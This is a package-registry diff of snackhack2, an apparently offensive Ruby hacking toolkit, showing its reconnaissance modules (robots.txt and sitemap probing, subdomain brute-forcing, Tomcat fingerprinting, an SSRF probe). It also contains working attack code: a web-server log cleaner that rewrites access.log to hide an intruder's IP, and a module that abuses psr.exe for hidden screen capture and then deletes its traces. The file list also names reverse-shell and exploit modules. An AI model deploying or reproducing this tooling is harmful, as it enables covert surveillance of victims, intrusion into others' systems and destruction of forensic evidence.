snackhack2 0.6.4 → 0.6.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/snackhack2/CVE-2017-9841.rb +77 -0
- data/lib/snackhack2/Honeywell_PM43.rb +25 -27
- data/lib/snackhack2/WP_Symposium.rb +22 -22
- data/lib/snackhack2/bannergrabber.rb +82 -82
- data/lib/snackhack2/bypass_403.rb +68 -66
- data/lib/snackhack2/comments.rb +29 -27
- data/lib/snackhack2/cryptoextractor.rb +64 -64
- data/lib/snackhack2/dns.rb +99 -0
- data/lib/snackhack2/drupal.rb +47 -49
- data/lib/snackhack2/emails.rb +31 -35
- data/lib/snackhack2/forward_remote.rb +26 -24
- data/lib/snackhack2/google_analytics.rb +30 -28
- data/lib/snackhack2/indirect_command_injection.rb +34 -32
- data/lib/snackhack2/iplookup.rb +52 -45
- data/lib/snackhack2/list_users.rb +34 -31
- data/lib/snackhack2/phishing_tlds.rb +197 -0
- data/lib/snackhack2/phone_number.rb +53 -56
- data/lib/snackhack2/portscan.rb +72 -73
- data/lib/snackhack2/reverse_shell.rb +32 -31
- data/lib/snackhack2/robots.rb +80 -81
- data/lib/snackhack2/screenshots.rb +25 -23
- data/lib/snackhack2/sitemap.rb +24 -22
- data/lib/snackhack2/ssrf.rb +7 -6
- data/lib/snackhack2/subdomains.rb +68 -68
- data/lib/snackhack2/subdomains2.rb +41 -43
- data/lib/snackhack2/tomcat.rb +23 -21
- data/lib/snackhack2/version.rb +1 -1
- data/lib/snackhack2/webserver_log_cleaner.rb +28 -27
- data/lib/snackhack2/website_links.rb +28 -28
- data/lib/snackhack2/website_meta.rb +33 -20
- data/lib/snackhack2/wordpress.rb +120 -128
- data/lib/snackhack2/wpForo_Forum.rb +23 -22
- data/lib/snackhack2.rb +84 -81
- metadata +23 -20
data/lib/snackhack2/robots.rb
CHANGED
@@ -1,81 +1,80 @@
|
|
1
|
-
# frozen_string_literal: true
|
2
|
-
|
3
|
-
module Snackhack2
|
4
|
-
class Robots
|
5
|
-
|
6
|
-
|
7
|
-
@
|
8
|
-
@
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
puts
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
body
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
link
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
body
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
link
|
72
|
-
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
|
79
|
-
|
80
|
-
|
81
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module Snackhack2
|
4
|
+
class Robots
|
5
|
+
def initialize(site, save_file: true)
|
6
|
+
@site = site
|
7
|
+
@http = Snackhack2.get(File.join(@site, 'robots.txt'))
|
8
|
+
@save_file = save_file
|
9
|
+
end
|
10
|
+
|
11
|
+
attr_reader :save_file
|
12
|
+
|
13
|
+
def run
|
14
|
+
save_txt_file = ''
|
15
|
+
allow = allow_robots
|
16
|
+
disallow = disallow_robots
|
17
|
+
if @save_file
|
18
|
+
save_txt_file += "ALLOW:\n\n"
|
19
|
+
unless allow.empty?
|
20
|
+
allow.each do |list|
|
21
|
+
save_txt_file += list
|
22
|
+
end
|
23
|
+
end
|
24
|
+
save_txt_file += "DISALLOW:\n\n"
|
25
|
+
unless disallow.empty?
|
26
|
+
disallow.each do |list|
|
27
|
+
save_txt_file += list
|
28
|
+
end
|
29
|
+
end
|
30
|
+
else
|
31
|
+
puts allow
|
32
|
+
puts disallow
|
33
|
+
end
|
34
|
+
Snackhack2.file_save(@site, 'robots', save_txt_file) if @save_file
|
35
|
+
end
|
36
|
+
|
37
|
+
def allow_robots
|
38
|
+
allow_dir = []
|
39
|
+
if @http.code == 200
|
40
|
+
body = @http.body.lines
|
41
|
+
body.each do |l|
|
42
|
+
allow_dir << l.split('Allow: ')[1] if l.match(/Allow:/)
|
43
|
+
end
|
44
|
+
else
|
45
|
+
puts "[+] Not giving code 200.\n"
|
46
|
+
end
|
47
|
+
open_links = []
|
48
|
+
allow_dir.each do |path|
|
49
|
+
link = Snackhack2.get(File.join(@site, path.strip))
|
50
|
+
if link.code == 200
|
51
|
+
valid_links = "#{@site}#{path}"
|
52
|
+
open_links << valid_links
|
53
|
+
end
|
54
|
+
end
|
55
|
+
open_links
|
56
|
+
end
|
57
|
+
|
58
|
+
def disallow_robots
|
59
|
+
disallow_dir = []
|
60
|
+
if @http.code == 200
|
61
|
+
body = @http.body.lines
|
62
|
+
body.each do |l|
|
63
|
+
disallow_dir << l.split('Disallow: ')[1] if l.match(/Disallow:/)
|
64
|
+
end
|
65
|
+
else
|
66
|
+
puts "[+] Not giving code 200.\n"
|
67
|
+
end
|
68
|
+
open_links = []
|
69
|
+
disallow_dir.each do |path|
|
70
|
+
link = Snackhack2.get(File.join(@site, path.strip))
|
71
|
+
if link.code == 200
|
72
|
+
valid_links = "#{@site}#{path}"
|
73
|
+
open_links << valid_links
|
74
|
+
end
|
75
|
+
rescue StandardError
|
76
|
+
end
|
77
|
+
open_links
|
78
|
+
end
|
79
|
+
end
|
80
|
+
end
|
@@ -1,23 +1,25 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
sleep
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'shellwords'
|
4
|
+
module Snackhack2
|
5
|
+
class ScreenShot
|
6
|
+
attr_accessor :zip, :time
|
7
|
+
|
8
|
+
# https://lolbas-project.github.io/lolbas/Binaries/Psr/
|
9
|
+
def initialize
|
10
|
+
@zip = 'screenshots.zip'
|
11
|
+
@time = 60
|
12
|
+
end
|
13
|
+
|
14
|
+
def run
|
15
|
+
File.open('lol.bat', 'w+') { |file| file.write("psr.exe /start /output #{@zip} /sc 1 /gui 0") }
|
16
|
+
File.open('lol2.bat', 'w+') { |file| file.write('psr.exe /stop') }
|
17
|
+
Process.spawn('lol.bat')
|
18
|
+
sleep @time.to_i
|
19
|
+
system('lol2.bat')
|
20
|
+
sleep 2
|
21
|
+
File.delete('lol.bat')
|
22
|
+
File.delete('lol2.bat')
|
23
|
+
end
|
24
|
+
end
|
25
|
+
end
|
data/lib/snackhack2/sitemap.rb
CHANGED
@@ -1,22 +1,24 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'httparty'
|
4
|
+
require 'nokogiri'
|
5
|
+
module Snackhack2
|
6
|
+
class SiteMap
|
7
|
+
def initialize(site)
|
8
|
+
@site = site
|
9
|
+
end
|
10
|
+
|
11
|
+
def run
|
12
|
+
sm = Snackhack2.get(File.join(@site, 'sitemap.xml'))
|
13
|
+
if sm.code == 200
|
14
|
+
if !sm.body.include?('Not Found')
|
15
|
+
Snackhack2.file_save(@site, 'site.xml', sm.body)
|
16
|
+
else
|
17
|
+
puts "[+] Eh. I don't think the site has a sitemap. Manually check just in case... :(\n\n"
|
18
|
+
end
|
19
|
+
else
|
20
|
+
puts "[+] Status Code: #{sm.code}"
|
21
|
+
end
|
22
|
+
end
|
23
|
+
end
|
24
|
+
end
|
data/lib/snackhack2/ssrf.rb
CHANGED
@@ -1,20 +1,21 @@
|
|
1
|
+
# frozen_string_literal: true
|
1
2
|
|
2
|
-
|
3
|
-
#
|
4
|
-
#sleep 10
|
3
|
+
# Process.spawn("ruby -run -ehttpd . -p8008")
|
4
|
+
# sleep 10
|
5
5
|
module Snackhack2
|
6
6
|
class SSRF
|
7
7
|
attr_accessor :site
|
8
|
+
|
8
9
|
def initialize
|
9
10
|
@site = site
|
10
11
|
end
|
12
|
+
|
11
13
|
def ssrf
|
12
|
-
url = @site.gsub(
|
14
|
+
url = @site.gsub('SSRF', 'http://google.com')
|
13
15
|
ht = HTTParty.get(url)
|
14
16
|
if ht.body.include?("Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for.")
|
15
17
|
puts "Boom Shaka. It's vulnerable to SSRF..."
|
16
18
|
end
|
17
|
-
|
18
19
|
end
|
19
20
|
end
|
20
|
-
end
|
21
|
+
end
|
@@ -1,68 +1,68 @@
|
|
1
|
-
# frozen_string_literal: true
|
2
|
-
|
3
|
-
require 'uri'
|
4
|
-
require 'resolv'
|
5
|
-
require 'async/http/internet'
|
6
|
-
module Snackhack2
|
7
|
-
class Subdomains
|
8
|
-
def initialize(site, wordlist: nil)
|
9
|
-
@site = site
|
10
|
-
@wordlist = wordlist
|
11
|
-
end
|
12
|
-
|
13
|
-
def site
|
14
|
-
@site.gsub(
|
15
|
-
end
|
16
|
-
|
17
|
-
def wordlist
|
18
|
-
File.join(__dir__, 'lists', 'subdomains.txt')
|
19
|
-
end
|
20
|
-
|
21
|
-
def run
|
22
|
-
File.readlines(wordlist).each do |sd|
|
23
|
-
resolv(sd)
|
24
|
-
end
|
25
|
-
end
|
26
|
-
|
27
|
-
def brute
|
28
|
-
found =
|
29
|
-
File.readlines(wordlist).each do |l|
|
30
|
-
s = "#{l.strip}.#{site}"
|
31
|
-
begin
|
32
|
-
puts File.join(
|
33
|
-
g = Snackhack2
|
34
|
-
if g.code == 200
|
35
|
-
found += s
|
36
|
-
elsif g.code == 300
|
37
|
-
found += s
|
38
|
-
else
|
39
|
-
puts "HTTP Code: #{g.code}"
|
40
|
-
end
|
41
|
-
rescue => e
|
42
|
-
puts e
|
43
|
-
end
|
44
|
-
end
|
45
|
-
Snackhack2
|
46
|
-
end
|
47
|
-
|
48
|
-
def resolv(sd)
|
49
|
-
# NOTE: this is really slow & multi thread does not work
|
50
|
-
# due to resolv
|
51
|
-
active = []
|
52
|
-
subdomains = []
|
53
|
-
Resolv::DNS.open do |dns|
|
54
|
-
ress = dns.getresources "#{sd}.#{@site}", Resolv::DNS::Resource::IN::A
|
55
|
-
unless ress.map(&:address).empty?
|
56
|
-
address = ress.map(&:address)
|
57
|
-
unless active.include?(address)
|
58
|
-
active << address
|
59
|
-
subdomains << "#{sd}.#{@site}" unless subdomains.include?(sd)
|
60
|
-
end
|
61
|
-
end
|
62
|
-
end
|
63
|
-
host = URI.parse(@site).host
|
64
|
-
File.open("#{host}_subdomains.txt", 'w+') { |file| file.write(subdomains.join("\n")) }
|
65
|
-
File.open("#{host}_ips.txt", 'w+') { |file| file.write(active.join("\n")) }
|
66
|
-
end
|
67
|
-
end
|
68
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'uri'
|
4
|
+
require 'resolv'
|
5
|
+
require 'async/http/internet'
|
6
|
+
module Snackhack2
|
7
|
+
class Subdomains
|
8
|
+
def initialize(site, wordlist: nil)
|
9
|
+
@site = site
|
10
|
+
@wordlist = wordlist
|
11
|
+
end
|
12
|
+
|
13
|
+
def site
|
14
|
+
@site.gsub('https://', '')
|
15
|
+
end
|
16
|
+
|
17
|
+
def wordlist
|
18
|
+
File.join(__dir__, 'lists', 'subdomains.txt')
|
19
|
+
end
|
20
|
+
|
21
|
+
def run
|
22
|
+
File.readlines(wordlist).each do |sd|
|
23
|
+
resolv(sd)
|
24
|
+
end
|
25
|
+
end
|
26
|
+
|
27
|
+
def brute
|
28
|
+
found = ''
|
29
|
+
File.readlines(wordlist).each do |l|
|
30
|
+
s = "#{l.strip}.#{site}"
|
31
|
+
begin
|
32
|
+
puts File.join('https://', s)
|
33
|
+
g = Snackhack2.get(File.join('https://', s))
|
34
|
+
if g.code == 200
|
35
|
+
found += "#{s}\n"
|
36
|
+
elsif g.code == 300
|
37
|
+
found += "#{s}\n"
|
38
|
+
else
|
39
|
+
puts "HTTP Code: #{g.code}"
|
40
|
+
end
|
41
|
+
rescue StandardError => e
|
42
|
+
puts e
|
43
|
+
end
|
44
|
+
end
|
45
|
+
Snackhack2.file_save(@site, 'subdomain_brute', found)
|
46
|
+
end
|
47
|
+
|
48
|
+
def resolv(sd)
|
49
|
+
# NOTE: this is really slow & multi thread does not work
|
50
|
+
# due to resolv
|
51
|
+
active = []
|
52
|
+
subdomains = []
|
53
|
+
Resolv::DNS.open do |dns|
|
54
|
+
ress = dns.getresources "#{sd}.#{@site}", Resolv::DNS::Resource::IN::A
|
55
|
+
unless ress.map(&:address).empty?
|
56
|
+
address = ress.map(&:address)
|
57
|
+
unless active.include?(address)
|
58
|
+
active << address
|
59
|
+
subdomains << "#{sd}.#{@site}" unless subdomains.include?(sd)
|
60
|
+
end
|
61
|
+
end
|
62
|
+
end
|
63
|
+
host = URI.parse(@site).host
|
64
|
+
File.open("#{host}_subdomains.txt", 'w+') { |file| file.write(subdomains.join("\n")) }
|
65
|
+
File.open("#{host}_ips.txt", 'w+') { |file| file.write(active.join("\n")) }
|
66
|
+
end
|
67
|
+
end
|
68
|
+
end
|
@@ -1,43 +1,41 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
end
|
43
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'async/http/internet'
|
4
|
+
module Snackhack2
|
5
|
+
class Subdomains2
|
6
|
+
def initialize(site)
|
7
|
+
@site = site
|
8
|
+
@urls = []
|
9
|
+
end
|
10
|
+
|
11
|
+
def wordlist
|
12
|
+
File.join(__dir__, 'lists', 'subdomains.txt')
|
13
|
+
end
|
14
|
+
|
15
|
+
def save
|
16
|
+
Snackhack2.file_save(@site, 'subdomain_brute2', @urls.join("\n"))
|
17
|
+
end
|
18
|
+
|
19
|
+
def run
|
20
|
+
File.readlines(wordlist).each do |a|
|
21
|
+
url = "https://#{a.strip}.#{@site.gsub('https://', '')}"
|
22
|
+
fetch(url)
|
23
|
+
puts url
|
24
|
+
end
|
25
|
+
save
|
26
|
+
end
|
27
|
+
|
28
|
+
def fetch(url)
|
29
|
+
Sync do |task|
|
30
|
+
task.with_timeout(2) do
|
31
|
+
internet = Async::HTTP::Internet.new
|
32
|
+
m = internet.get(url, { 'user-agent' => Snackhack2::UA })
|
33
|
+
@urls << url if (m.status == 200) || (m.status == 301)
|
34
|
+
m.read
|
35
|
+
end
|
36
|
+
end
|
37
|
+
rescue StandardError => e
|
38
|
+
puts e
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
data/lib/snackhack2/tomcat.rb
CHANGED
@@ -1,21 +1,23 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'nokogiri'
|
4
|
+
module Snackhack2
|
5
|
+
class TomCat
|
6
|
+
def initialize(site)
|
7
|
+
@site = site
|
8
|
+
end
|
9
|
+
|
10
|
+
def run
|
11
|
+
tc = Snackhack2.get(File.join(@site, '/docs/'))
|
12
|
+
if tc.code == 404
|
13
|
+
if tc.body.include?('Tomcat')
|
14
|
+
doc = Nokogiri::HTML(tc.body)
|
15
|
+
version = doc.at('h3').text
|
16
|
+
puts "[+] Looks like the site is Tomcat, running #{version}."
|
17
|
+
end
|
18
|
+
else
|
19
|
+
puts "[+] Status code: #{tc.code}"
|
20
|
+
end
|
21
|
+
end
|
22
|
+
end
|
23
|
+
end
|
data/lib/snackhack2/version.rb
CHANGED
@@ -1,27 +1,28 @@
|
|
1
|
-
# frozen_string_literal: true
|
2
|
-
|
3
|
-
module Snackhack2
|
4
|
-
class WebServerCleaner
|
5
|
-
attr_accessor :ip
|
6
|
-
|
7
|
-
|
8
|
-
@
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
File.
|
25
|
-
|
26
|
-
|
27
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module Snackhack2
|
4
|
+
class WebServerCleaner
|
5
|
+
attr_accessor :ip
|
6
|
+
|
7
|
+
def initialize(path: File.join('/var/log', 'access.log'))
|
8
|
+
@ip = ip
|
9
|
+
@path = path
|
10
|
+
end
|
11
|
+
|
12
|
+
def run
|
13
|
+
out = ''
|
14
|
+
# generate random IP
|
15
|
+
new_ip = Array.new(4) { rand(256) }.join('.')
|
16
|
+
File.readlines(@path).each do |line|
|
17
|
+
old_ip = line.match(/((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/)
|
18
|
+
out += if old_ip.to_s == @ip
|
19
|
+
line.gsub(old_ip.to_s, new_ip)
|
20
|
+
else
|
21
|
+
line
|
22
|
+
end
|
23
|
+
end
|
24
|
+
File.delete(@path)
|
25
|
+
File.open(@path, 'w+') { |file| file.write(out) }
|
26
|
+
end
|
27
|
+
end
|
28
|
+
end
|